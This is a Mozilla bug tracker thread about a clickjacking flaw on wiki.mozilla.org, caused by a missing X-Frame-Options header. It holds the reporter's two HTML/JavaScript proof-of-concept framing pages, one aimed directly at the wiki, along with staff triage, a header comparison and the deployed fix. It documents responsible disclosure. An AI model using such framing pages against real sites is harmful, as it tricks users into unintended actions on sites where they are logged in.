Missing X-Frame-Options header : possible clickjacking

RESOLVED FIXED in 2014-Q3

Status

Websites
wiki.mozilla.org
RESOLVED FIXED
4 years ago
4 years ago

People

(Reporter: curtisk, Assigned: ckoehler)

Tracking

({wsec-other})

unspecified
2014-Q3
wsec-other
Bug Flags:
sec-bounty -

Details

(Whiteboard: [site:wiki.mozilla.org][reporter-external] [stage=2014-09-25] [prod=2014-09-25], URL)

Subject: clickjacking vulnerability
From: mohammed al-saggaf <mohammed.sec2010@gmail.com>
To: security@mozilla.org
-----//-----
i found in

https://wiki.mozilla.org

bugs called

clickjacking vulnerability

poc:

<html>

<head>

<title>Clickjack Test Page</title>

<style>

#overlay

{

padding: 20px;

border: 4px solid black;

width: 200px;

position: absolute;

background-color: red;

font: bold 12pt verdana;

color: white;

left: 440px;

top: 300px;

display: none;

}

</style>

<script>

function moveoverlay()

{

var overlay=document.getElementById("overlay");

x=(window.innerWidth - 200)/2;

y=(window.innerHeight - overlay.style.height)/2;

overlay.style.left = x + "px";

overlay.style.top = y + "px";

overlay.style.display="block";

}

function changeframe()

{

var url=document.urlform.inputurl.value;

var displayurl=document.getElementById("displayurl");

var results=document.getElementById("results");

displayurl.textContent="You’ve been clickjacked! The frame URL is: " + url;

displayurl.style.display="block";

// Create a new frame - delete the old one first

var destframe=document.getElementById("destframe");

if (destframe)

{

results.removeChild(destframe);

}

var newframe=document.createElement("iframe");

newframe.setAttribute("src",url);

newframe.setAttribute("id","destframe");

newframe.style.width="100%";

newframe.style.height="90%";

newframe.setAttribute("sandbox","allow-scripts allow-forms");

results.appendChild(newframe);

document.body.setAttribute("onResize","moveoverlay()");

moveoverlay();

}

function toggleformbar()

{

var formbarhidden=(document.getElementById("closer").textContent=="^")?0:1;

if (formbarhidden==0)

{

document.getElementById("theform").style.display="none";

document.getElementById("closer").textContent="v";

}

else

{

document.getElementById("theform").style.display="block";

document.getElementById("closer").textContent="^";

}

}

</script>

</head>

<body>

<div id="formbar" style="">

<div id="theform" style="background: #f0f0f0; padding: 0.5em; height: 1.5em; float: left; display: inline">

<form name="urlform" onSubmit="changeframe(); return false">

<label>URL:</label>

<input type="input" name="inputurl" />

<input type="submit" value="Load" />

</form>

</div>

<div id="closer" style="float: right; display: inline; cursor: pointer" onClick="toggleformbar()">^</div>

</div>

<br style="clear: both" />

<div id="results">

<div id="displayurl" style="display:none"><p>Bit of text for screenshot</p></div><br />

<div id="overlay">This is sample content rendered from the parent frame</div>

</div>

</body>

</html>
Flags: sec-bounty?
Whiteboard: [site:wiki.mozilla.org][reporter-external]
Assignee: nobody → nmaul

Comment 2

4 years ago
I am unqualified to fix this without instructions, so I'm unassigning myself.

Also, please don't assign bugs to people like this... better to CC or NEEDINFO people, to find someone that can work on it. In this particular case, IT does not monitor the Websites product in Bugzilla. If IT work is needed, it should be moved to the appropriate product/component (Infrastructure & Operations :: WebOps: *). That will get it seen by the whole team, and should even get it into our Kanban board for prioritization.
Assignee: nmaul → nobody
Sorry about that, we're trying to find the best resource to own this during weekly triage and you came up as a possible resource for this domain. Given that the fix here is an appache or nginx[1] change the collective group thought you might be the correct resource. Any chance you can help us fullfill the goal of finding the right resource or home for this security bug?

[1] https://developer.mozilla.org/en-US/docs/Web/HTTP/X-Frame-Options?redirectlocale=en-US&redirectslug=The_X-FRAME-OPTIONS_response_header
Flags: needinfo?(nmaul)

Comment 4

4 years ago
hey quys and sorry for replaying lately...I made the top frame change to being partially transparent with Javascript when the mouse pointer is over the frames so you can see what site is actually on the top frame. When the malicious site tries to trick people all that is ever seen is the bottom frame. They try to get the victim to click on stuff on the bottom frame while actually the victim is affecting the site in the top frame (which they do not see). 

exploit:

<html></html>
<div style="z-index:2; position:absolute;top:0; left:0;width: 80%; height:80%">
<iframe src="https://wiki.mozilla.org/" id="frame1" style="opacity:0.4;filter:alpha(opacity=40); " width="100%" height="100%" onmouseover="this.style.opacity=.5;this.filters.alpha.opacity=50" onmouseout="this.style.opacity=0;this.filters.alpha.opacity=0"/></iframe></div>
<div align="right" style="position:absolute; top:0; left:0; z-index:1; width: 80%;height:80%; background-color: yellow;text-align:left;">
<strong>Clickjaking POC by Mohammed. I made the top frame change to being partially transparent with Javascript when the mouse pointer is over the frames so you can see what site is actually on the top frame. When the malicious site tries to trick people all that is ever seen is the bottom frame. They try to get the victim to click on stuff on the bottom frame while actually the victim is affecting the site in the top frame (which they do not see). 
 </p> </strong><br/></div>
Christie - any chance you can help us get this to the correct hands?
Flags: needinfo?(ckoehler)
(Assignee)

Comment 6

4 years ago
Yes, I'll add this to the Wiki Team's triage. 

We're going to be pushing out an upgrade this week that might fix some of these. 

Is it possible to get some more detailed steps to reproduce? I'm not quite understanding that the issue is here.
Flags: needinfo?(nmaul)
Flags: needinfo?(curtisk)
Flags: needinfo?(ckoehler)
So the issue is that the webserver for wiki.m.o is not sending out an x-frame-options header. I tested this using a simple web-proxy (OWASP Zap) and observing the responses to the Get request.
For example here is the response for wiki.m.o
HTTP/1.1 200 OK
Server: Apache
X-Backend-Server: generic3.webapp.phx1.mozilla.com
Vary: Accept-Encoding,Cookie
Cache-Control: s-maxage=18000, must-revalidate, max-age=0
Content-Type: text/html; charset=UTF-8
Date: Wed, 03 Sep 2014 19:43:42 GMT
Keep-Alive: timeout=5, max=994
Content-language: en
X-Content-Type-Options: nosniff
Connection: Keep-Alive
Last-Modified: Tue, 02 Sep 2014 18:08:24 GMT
X-Cache-Info: not cacheable; response specified max-age <= 0


And here is the response for A.M.O which has XFO by comparison
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 03 Sep 2014 19:52:35 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Vary: X-Mobile, User-Agent
X-Frame-Options: DENY
Strict-Transport-Security: max-age=31536000
X-Backend-Server: web2


A good link for more info about his on MDN is in comment 3
Flags: needinfo?(curtisk)
(Assignee)

Comment 8

4 years ago
Thanks, Curtis.

It looks like x-frame-options header is deprecated. Should we use frame-ancestors instead? Or in addition to?

https://developer.mozilla.org/en-US/docs/Web/Security/CSP/CSP_policy_directives#frame-ancestors
https://w3c.github.io/webappsec/specs/content-security-policy/#directive-frame-ancestors
At the moment I would say in addition to. x-frame-options is still honored by a large number of browsers and from what I see of the bugs in FX to implement frame-ancestors I'm not sure it's fully ready for prime time

Comment 10

4 years ago
HEY QUYS .. you must use frame-ancestors and I see it is good for FX but It looks like x-frame-options header is deprecated , I see it when I test wiki.m.c

Comment 11

4 years ago
hey Curtis

I am testing https://wiki.mozilla.org/ by using burpsuite 

request :
GET /Main_Page HTTP/1.1
User-Agent: Opera/9.80 (Windows NT 6.2; WOW64) Presto/2.12.388 Version/12.17
Host: wiki.mozilla.org
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ar-YE,ar;q=0.9,en;q=0.8
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

response: 
HTTP/1.1 200 OK
Server: Apache
X-Backend-Server: generic5.webapp.phx1.mozilla.com
Vary: Accept-Encoding,Cookie
Cache-Control: s-maxage=18000, must-revalidate, max-age=0
Content-Type: text/html; charset=UTF-8
Date: Wed, 03 Sep 2014 21:51:52 GMT
Keep-Alive: timeout=5, max=942
Content-language: en
X-Content-Type-Options: nosniff
Connection: Keep-Alive
Last-Modified: Tue, 02 Sep 2014 18:08:24 GMT
X-Cache-Info: not cacheable; response specified max-age <= 0
Content-Length: 21696

 it looks like x-frame-options header is deprecated

this is the screenshot :

http://im68.gulfup.com/IuEtdl.png

Comment 12

4 years ago
any updates ?
Assignee: nobody → ckoehler

Comment 13

4 years ago
I've added an X-Frame-Options header to the development environment for the wiki and pushed out the change.  If nothing is amiss, I can push out that change to production next week.

Coming up with an appropriate Content Security Policy header may take more coordination.  I'll branch off a separate bug for that.

Comment 14

4 years ago
there is no change bro cliang
here is the screenshot for proof :

http://im63.gulfup.com/Mk3XsE.png
(Assignee)

Comment 15

4 years ago
(In reply to Mohammed Al-saggaf from comment #14)
> there is no change bro cliang
> here is the screenshot for proof :
> http://im63.gulfup.com/Mk3XsE.png

The change has only been made on the development server, so we can test.
That url is wiki-dev.allizom.org

Comment 16

4 years ago
 hey bro  Christie Koehler ... congrats bro 

I test this url : wiki-dev.allizom.org and  and I see X-Frame-Options: SAMEORIGIN 
every thing is okay ..here is the screenshot for proof the fixed bug: 
http://im54.gulfup.com/S09J1b.png

so down this site: https://wiki.mozilla.org/Main_Page and change it to https://wiki-dev.allizom.org/Main_Page


any reward for report this bug?
(In reply to Mohammed Al-saggaf from comment #16)
> 
> any reward for report this bug?
>
Bugs aren't evaluated for bounty eligibility until they are closed.

As well, this site is not officially in our list of eligible sites. If the bug is extraordinary we sometimes offer bounties for interesting bugs which are outside of normal policy.

We do appreciate learning about bugs in all of our sites. We publish a list of eligible sites for people who are only interested in bounties and we hope that can help reduce the frustration of wasting time in unfruitful areas.
http://www.mozilla.org/security/bug-bounty-faq-webapp.html#eligible-bugs

If chosen for a bounty you will be contacted for further information.

Comment 18

4 years ago
thanks bro Curtis Koenig ..  if you any help to test this site  again... comment here... I am very happy to help you quys... I wish  to be chosen for a bounty

Comment 19

4 years ago
The X-Frames change has been pushed out to the stage and production environments.
Status: NEW → RESOLVED
Last Resolved: 4 years ago
Resolution: --- → FIXED

Comment 20

4 years ago
I can confirm that this bug is fixed... nice team 


Have a great Day Guys
(In reply to Christie Koehler [:ckoehler] from comment #8)
> It looks like x-frame-options header is deprecated. Should we use
> frame-ancestors instead? Or in addition to?
> 
> https://developer.mozilla.org/en-US/docs/Web/Security/CSP/
> CSP_policy_directives#frame-ancestors

I keep trying to fix that but zealous mdn editors keep adding site macros to the XFO article. It's not "obsolete" or "deprecated" in any practical sense. It was never standard but was widely implemented by browsers. The IETF published a non-normative description of what browser behavior actually (mostly) was. frame-ancestors has been proposed for standardisation in CSP Level 2, but meanwhile CSP 1 has not formally been published as a final spec. There /are/ implementations of frame-ancestors in some browsers (e.g. Firefox) but not enough yet to successfully displace use of XFO in the current web.

Use XFO. If your site uses CSP for other reasons anyway then give frame-ancestors a go, but keep XFO for browsers which don't support CSP.
not eligible for a bounty due to rating.
Group: websites-security
Keywords: wsec-other
What on wiki.mozilla.org is at risk of clickjacking?
(In reply to Daniel Veditz [:dveditz] from comment #23)
> What on wiki.mozilla.org is at risk of clickjacking?

given you have to login to edit, your credentials could be clickjacked. Otherwise I would have rated this lower.

Comment 25

4 years ago
I hope Guys to get  a bounty.... I am waiting you

Comment 26

4 years ago
only hope give me T-shirt of firefox....
Flags: sec-bounty? → sec-bounty-
Whiteboard: [site:wiki.mozilla.org][reporter-external] → [site:wiki.mozilla.org][reporter-external] [stage=2014-09-26] [prod=2014-09-26]
Target Milestone: --- → 2014-Q3
Whiteboard: [site:wiki.mozilla.org][reporter-external] [stage=2014-09-26] [prod=2014-09-26] → [site:wiki.mozilla.org][reporter-external] [stage=2014-09-25] [prod=2014-09-25]
You need to log in before you can comment on or make changes to this bug.